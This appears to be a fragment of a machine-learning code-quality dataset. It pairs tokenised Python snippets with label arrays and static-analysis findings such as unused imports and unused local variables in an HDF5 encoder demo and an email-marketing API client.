"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "retval_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "dop", "_", "._", "addc", "onf_", "(_", "self_", "._", "\\u", "module_", ",_", "conf", "\\u", "arr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order", "s", "\\u", "key_", "=_", "\"%", "s", "ORDE", "RS", "\"_", "%_", "(_", "self_", "._", "\\u", "reserve", "d\\u", "key", "\\u", "prefix_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "\\u", "path_", ",_", "\\u", "v_", "in_", "conf", "\\u", "arr_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\\u", "path_", "[_", "0_", ":_", "1_", "]_", "!=_", "\"/\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lines_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "v_", "[_", "'", "value", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "exclu", "de", "\\u", "regex_", "=_", "\"", "^", "%", "s", "[", "A", "-", "Z", "0", "-", "9", "\\\\\\u", "]+$", "\"_", "%_", "self_", "._", "\\u", "reserve", "d\\u", "key", "\\u", "prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\\", "124", "14", ";", "\\", "123", "7", "8", ";", "\\", "123", "9", "9", ";", "\\", "124", "5", "8", ";", "\\", "125", "40", ";", "\\", "124", "80", ";", "\\", "123", "98", ";", "\\", "389", "1", "8", ";_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "dop", "_", "._", "isse", "t_", "(_", "self_", "._", "\\u", "module_", ",_", "[_", "\\u", "path_", ",_", "order", "s", "\\u", "key_", "]_", ")_", "is_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "\\u", "k2_", "in_", "self_", "._", "dop", "_", "._", "get_", "(_", "self_", "._", "\\u", "module_", ",_", "[_", "\\u", "path_", ",_", "order", "s", "\\u", "key_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "m_", "=_", "re_", "._", "match_", "(_", "exclu", "de", "\\u", "regex_", ",_", "\\u", "k2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "type_", "(_", "\\u", "k2_", ")_", "==_", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "\\u", "k2_", "=_", "\\u", "k2_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "value_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "[_", "\\u", "k2_", "]_", "=_", "\\u", "v_", "[_", "'", "value", "'_", "]_", "[_", "\\u", "k2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "lines_", "+_", "self_", "._", "\\u", "value", "\\u", "to", "\\u", "lines_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dop", "_", "._", "unset_", "(_", "self_", "._", "\\u", "module_", ",_", "[_", "\\u", "path_", ",_", "\\u", "k2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\\", "124", "5", "8", ";", "\\", "125", "40", ";", "\\", "124", "80", ";", "\\", "123", "9", "5", ";", "\\", "123", "9", "4", ";", "\\", "123", "56", ";", "\\", "124", "1", "8", ";", "\\", "123", "98", ";", "\\", "123", "9", "9", ";", "\\", "263", "6", "8", ";", "\\", "244", "60", ";", "\\", "123", "9", "5", ";", "\\", "368", "6", "1", ";", "\\", "211", "5", "2", ";_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "\\u", "k2_", ",_", "\\u", "v2_", "in_", "self_", "._", "dop", "_", "._", "get_", "(_", "self_", "._", "\\u", "module_", ",_", "[_", "\\u", "path_", "]_", ")_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "re_", "._", "match_", "(_", "exclu", "de", "\\u", "regex_", ",_", "\\u", "k2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "value_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "[_", "\\u", "k2_", "]_", "=_", "\\u", "v2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "lines_", "+_", "self_", "._", "\\u", "value", "\\u", "to", "\\u", "lines_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "dryrun_", "is_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "lines_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "Config", "File_", "(_", "\\u", "path_", ")_", "._", "write_", "(_", "\"\\\\", "n", "\"_", "._", "join_", "(_", "lines_", ")_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "lines_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "Config", "File_", "(_", "\\u", "path_", ")_", "._", "write_", "(_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "lines_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"\\\\", "n", "\"_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "lines_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "retval_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ooici/pyon/prototype/hdf/example/encoder_decoder_demo.py
[ { "content": "import numpy, h5py\n\nfrom prototype.hdf.hdf_codec import HDFEncoder, HDFDecoder\n\narray1 = numpy.ones((4,5))\narray2 = numpy.ones((2,3))\narray3 = numpy.ones((10,2))\ndataset_name1 = 'rootgroup/mygroup/data/temperature'\ndataset_name2 = 'rootgroup/mygroup/data/pressure'\ndname = 'aGroup/adataset'\n\n###########################################################\n\n# Create an encoder object\nhdfencoder = HDFEncoder()\n# Add data as an array\nhdfencoder.add_hdf_dataset(dataset_name1, array1)\nhdfencoder.add_hdf_dataset(dataset_name2, array2)\n# Convert all the data to a binary string for easy transportation\nhdfstring1 = hdfencoder.encoder_close()\n\n# Create another encoder. This time pass on name of hdf5 file to write\nhdfencoder = HDFEncoder('/tmp/testHDFEncoder.hdf5')\nhdfencoder.add_hdf_dataset(dataset_name1, array1)\nhdfencoder.add_hdf_dataset(dataset_name2, array2)\n# Convert all the data to a binary string for easy transportation\nhdfstring2 = hdfencoder.encoder_close()\n\n# Create another encoder. This time pass on name of hdf5 file to write\nhdfencoder = HDFEncoder('/tmp/testHDFEncoder.hdf5')\nhdfencoder.add_hdf_dataset(dname, array3)\n# Convert all the data to a binary string for easy transportation\nhdfstring3 = hdfencoder.encoder_close()\n\n##########################################################\n\nprint('Dataset: %s ' % dataset_name2)\n# Create a decoder object\nhdfdecoder = HDFDecoder(hdfstring1)\n# Read the array out of the decoder\nprint hdfdecoder.read_hdf_dataset(dataset_name2)\n\nprint('Dataset: %s ' % dataset_name1)\n# Create a decoder object\nhdfdecoder = HDFDecoder(hdfstring2)\n# Read the array out of the decoder\nprint hdfdecoder.read_hdf_dataset(dataset_name1)\n\n#print \"Third decoded hdf_string: \"\n## Create a decoder object\nhdfdecoder = HDFDecoder(hdfstring3)\n# Read the array out of the decoder\nprint('Dataset: %s ' % dataset_name1)\nprint hdfdecoder.read_hdf_dataset(dataset_name1)\n\nhdfdecoder = HDFDecoder(hdfstring3)\nprint(\"Dataset: %s\" % dataset_name2)\nprint hdfdecoder.read_hdf_dataset(dataset_name2)\n\nhdfdecoder = HDFDecoder(hdfstring3)\nprint(\"Dataset: %s\" % dname)\nprint hdfdecoder.read_hdf_dataset(dname)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import numpy, h5py", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 18 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "numpy_", ",_", "h5py_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "prototype_", "._", "hdf_", "._", "hd", "f", "\\u", "codec_", "import_", "HDF", "Encoder_", ",_", "HDF", "Decoder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "array", "1_", "=_", "numpy_", "._", "ones_", "(_", "(_", "4_", ",_", "5_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "array", "2_", "=_", "numpy_", "._", "ones_", "(_", "(_", "2_", ",_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "array", "3_", "=_", "numpy_", "._", "ones_", "(_", "(_", "10_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataset", "\\u", "name1_", "=_", "'", "root", "group", "/", "myg", "roup", "/", "data", "/", "tempe", "ratur", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataset", "\\u", "name2_", "=_", "'", "root", "group", "/", "myg", "roup", "/", "data", "/", "press", "ure", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dname_", "=_", "'", "a", "Group", "/", "adat", "ase", "t", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "an", " ", "encode", "r", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "hd", "fen", "coder_", "=_", "HDF", "Encoder_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", " ", "data", " ", "as", " ", "an", " ", "array_", "\\u\\u\\uNL\\u\\u\\u_", "hd", "fen", "coder_", "._", "add", "\\u", "hd", "f", "\\u", "dataset_", "(_", "dataset", "\\u", "name1_", ",_", "array", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hd", "fen", "coder_", "._", "add", "\\u", "hd", "f", "\\u", "dataset_", "(_", "dataset", "\\u", "name2_", ",_", "array", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Convert", " ", "all", " ", "the", " ", "data", " ", "to", " ", "a", " ", "binar", "y", " ", "string", " ", "for", " ", "easy", " ", "transport", "ation_", "\\u\\u\\uNL\\u\\u\\u_", "hdfs", "tring", "1_", "=_", "hd", "fen", "coder_", "._", "encode", "r", "\\u", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "anot", "her", " ", "encode", "r", ".", " ", "Thi", "s", " ", "time", " ", "pass", " ", "on", " ", "name", " ", "of", " ", "hdf5", " ", "file", " ", "to", " ", "write_", "\\u\\u\\uNL\\u\\u\\u_", "hd", "fen", "coder_", "=_", "HDF", "Encoder_", "(_", "'/", "tmp", "/", "test", "HDF", "Encode", "r", ".", "hdf5", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hd", "fen", "coder_", "._", "add", "\\u", "hd", "f", "\\u", "dataset_", "(_", "dataset", "\\u", "name1_", ",_", "array", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hd", "fen", "coder_", "._", "add", "\\u", "hd", "f", "\\u", "dataset_", "(_", "dataset", "\\u", "name2_", ",_", "array", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Convert", " ", "all", " ", "the", " ", "data", " ", "to", " ", "a", " ", "binar", "y", " ", "string", " ", "for", " ", "easy", " ", "transport", "ation_", "\\u\\u\\uNL\\u\\u\\u_", "hdfs", "tring", "2_", "=_", "hd", "fen", "coder_", "._", "encode", "r", "\\u", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "anot", "her", " ", "encode", "r", ".", " ", "Thi", "s", " ", "time", " ", "pass", " ", "on", " ", "name", " ", "of", " ", "hdf5", " ", "file", " ", "to", " ", "write_", "\\u\\u\\uNL\\u\\u\\u_", "hd", "fen", "coder_", "=_", "HDF", "Encoder_", "(_", "'/", "tmp", "/", "test", "HDF", "Encode", "r", ".", "hdf5", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hd", "fen", "coder_", "._", "add", "\\u", "hd", "f", "\\u", "dataset_", "(_", "dname_", ",_", "array", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Convert", " ", "all", " ", "the", " ", "data", " ", "to", " ", "a", " ", "binar", "y", " ", "string", " ", "for", " ", "easy", " ", "transport", "ation_", "\\u\\u\\uNL\\u\\u\\u_", "hdfs", "tring", "3_", "=_", "hd", "fen", "coder_", "._", "encode", "r", "\\u", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Datas", "et", ":", " ", "%", "s", " ", "'_", "%_", "dataset", "\\u", "name2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "decode", "r", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "hd", "fde", "coder_", "=_", "HDF", "Decoder_", "(_", "hdfs", "tring", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Read", " ", "the", " ", "array", " ", "out", " ", "of", " ", "the", " ", "decoder_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "hd", "fde", "coder_", "._", "read", "\\u", "hd", "f", "\\u", "dataset_", "(_", "dataset", "\\u", "name2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Datas", "et", ":", " ", "%", "s", " ", "'_", "%_", "dataset", "\\u", "name1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "decode", "r", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "hd", "fde", "coder_", "=_", "HDF", "Decoder_", "(_", "hdfs", "tring", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Read", " ", "the", " ", "array", " ", "out", " ", "of", " ", "the", " ", "decoder_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "hd", "fde", "coder_", "._", "read", "\\u", "hd", "f", "\\u", "dataset_", "(_", "dataset", "\\u", "name1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "Thi", "rd", " ", "decode", "d", " ", "hd", "f", "\\u", "string", ":", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Creat", "e", " ", "a", " ", "decode", "r", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "hd", "fde", "coder_", "=_", "HDF", "Decoder_", "(_", "hdfs", "tring", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Read", " ", "the", " ", "array", " ", "out", " ", "of", " ", "the", " ", "decoder_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Datas", "et", ":", " ", "%", "s", " ", "'_", "%_", "dataset", "\\u", "name1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "hd", "fde", "coder_", "._", "read", "\\u", "hd", "f", "\\u", "dataset_", "(_", "dataset", "\\u", "name1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "hd", "fde", "coder_", "=_", "HDF", "Decoder_", "(_", "hdfs", "tring", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Datas", "et", ":", " ", "%", "s", "\"_", "%_", "dataset", "\\u", "name2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "hd", "fde", "coder_", "._", "read", "\\u", "hd", "f", "\\u", "dataset_", "(_", "dataset", "\\u", "name2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "hd", "fde", "coder_", "=_", "HDF", "Decoder_", "(_", "hdfs", "tring", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Datas", "et", ":", " ", "%", "s", "\"_", "%_", "dname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "hd", "fde", "coder_", "._", "read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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
campaignmonitor/createsend-python/createsend/client.py
[ { "content": " def suppress(self, email):\n \"\"\"Adds email addresses to a client's suppression list\"\"\"\n body = {\n \"EmailAddresses\": [ email ] if isinstance(email, str) else email }\n response = self._post(self.uri_for(\"suppress\"), json.dumps(body))", "metadata": "root.Client.suppress", "header": "['class', 'Client', '(', 'CreateSendBase', ')', ':', '___EOS___']", "index": 72 }, { "content": " def unsuppress(self, email):\n \"\"\"Unsuppresses an email address by removing it from the the client's\n suppression list\"\"\"\n params = { \"email\": email }\n response = self._put(self.uri_for(\"unsuppress\"), body=\" \", params=params)", "metadata": "root.Client.unsuppress", "header": "['class', 'Client', '(', 'CreateSendBase', ')', ':', '___EOS___']", "index": 78 }, { "content": " def set_basics(self, company, timezone, country):\n body = {\n \"CompanyName\": company, \n \"TimeZone\": timezone,\n \"Country\": country }\n response = self._put(self.uri_for('setbasics'), json.dumps(body))", "metadata": "root.Client.set_basics", "header": "['class', 'Client', '(', 'CreateSendBase', ')', ':', '___EOS___']", "index": 89 }, { "content": " def set_payg_billing(self, currency, can_purchase_credits, client_pays, markup_percentage, \n markup_on_delivery=0, markup_per_recipient=0, markup_on_design_spam_test=0):\n \"\"\"Sets the PAYG billing settings for this client.\"\"\"\n body = {\n \"Currency\": currency,\n \"CanPurchaseCredits\": can_purchase_credits,\n \"ClientPays\": client_pays,\n \"MarkupPercentage\": markup_percentage,\n \"MarkupOnDelivery\": markup_on_delivery,\n \"MarkupPerRecipient\": markup_per_recipient,\n \"MarkupOnDesignSpamTest\": markup_on_design_spam_test }\n response = self._put(self.uri_for('setpaygbilling'), json.dumps(body))", "metadata": "root.Client.set_payg_billing", "header": "['class', 'Client', '(', 'CreateSendBase', ')', ':', '___EOS___']", "index": 96 }, { "content": " def set_monthly_billing(self, currency, client_pays, markup_percentage, monthly_scheme = None):\n \"\"\"Sets the monthly billing settings for this client.\"\"\"\n body = {\n \"Currency\": currency,\n \"ClientPays\": client_pays,\n \"MarkupPercentage\": markup_percentage }\n \n if monthly_scheme is not None:\n body[\"MonthlyScheme\"] = monthly_scheme\n \n response = self._put(self.uri_for('setmonthlybilling'), json.dumps(body))", "metadata": "root.Client.set_monthly_billing", "header": "['class', 'Client', '(', 'CreateSendBase', ')', ':', '___EOS___']", "index": 109 }, { "content": " def delete(self):\n \"\"\"Deletes this client.\"\"\"\n response = self._delete(\"/clients/%s.json\" % self.client_id)", "metadata": "root.Client.delete", "header": "['class', 'Client', '(', 'CreateSendBase', ')', ':', '___EOS___']", "index": 162 } ]
[ { "span": "response ", "start_line": 76, "start_column": 4, "end_line": 76, "end_column": 12 }, { "span": "response ", "start_line": 82, "start_column": 4, "end_line": 82, "end_column": 12 }, { "span": "response ", "start_line": 94, "start_column": 4, "end_line": 94, "end_column": 12 }, { "span": "response ", "start_line": 107, "start_column": 4, "end_line": 107, "end_column": 12 }, { "span": "response ", "start_line": 119, "start_column": 4, "end_line": 119, "end_column": 12 }, { "span": "response ", "start_line": 164, "start_column": 4, "end_line": 164, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Client_", "(_", "Creat", "e", "Sen", "d", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "suppress_", "(_", "self_", ",_", "email_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Add", "s", " ", "email", " ", "addresse", "s", " ", "to", " ", "a", " ", "client", "'", "s", " ", "suppress", "ion", " ", "list", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ema", "il", "Address", "es", "\"_", ":_", "[_", "email_", "]_", "if_", "isinstance_", "(_", "email_", ",_", "str_", ")_", "else_", "email_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "post_", "(_", "self_", "._", "uri", "\\u", "for_", "(_", "\"", "suppress", "\"_", ")_", ",_", "json_", "._", "dumps_", "(_", "body_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Client_", "(_", "Creat", "e", "Sen", "d", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "unsup", "press_", "(_", "self_", ",_", "email_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Unsu", "ppr", "esse", "s", " ", "an", " ", "email", " ", "address", " ", "by", " ", "remo", "ving", " ", "it", " ", "from", " ", "the", " ", "the", " ", "client", "'", "s", "\\", "10", ";", " ", " ", " ", " ", "suppress", "ion", " ", "list", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "{_", "\"", "email", "\"_", ":_", "email_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "self_", "._", "\\u", "put_", "(_", "self_", "._", "uri", "\\u", "for_", "(_", "\"", "unsup", "press", "\"_", ")_", ",_", "body_", "=_", "\"", " ", "\"_", ",_", "params_", "=_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Client_", "(_", "Creat", "e", "Sen", "d", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "basics", "_", "(_", "self_", ",_", "company_", ",_", "timezone_", ",_", "country_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Compa", "ny", "Name", "\"_", ":_", "company_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Time", "Zon", 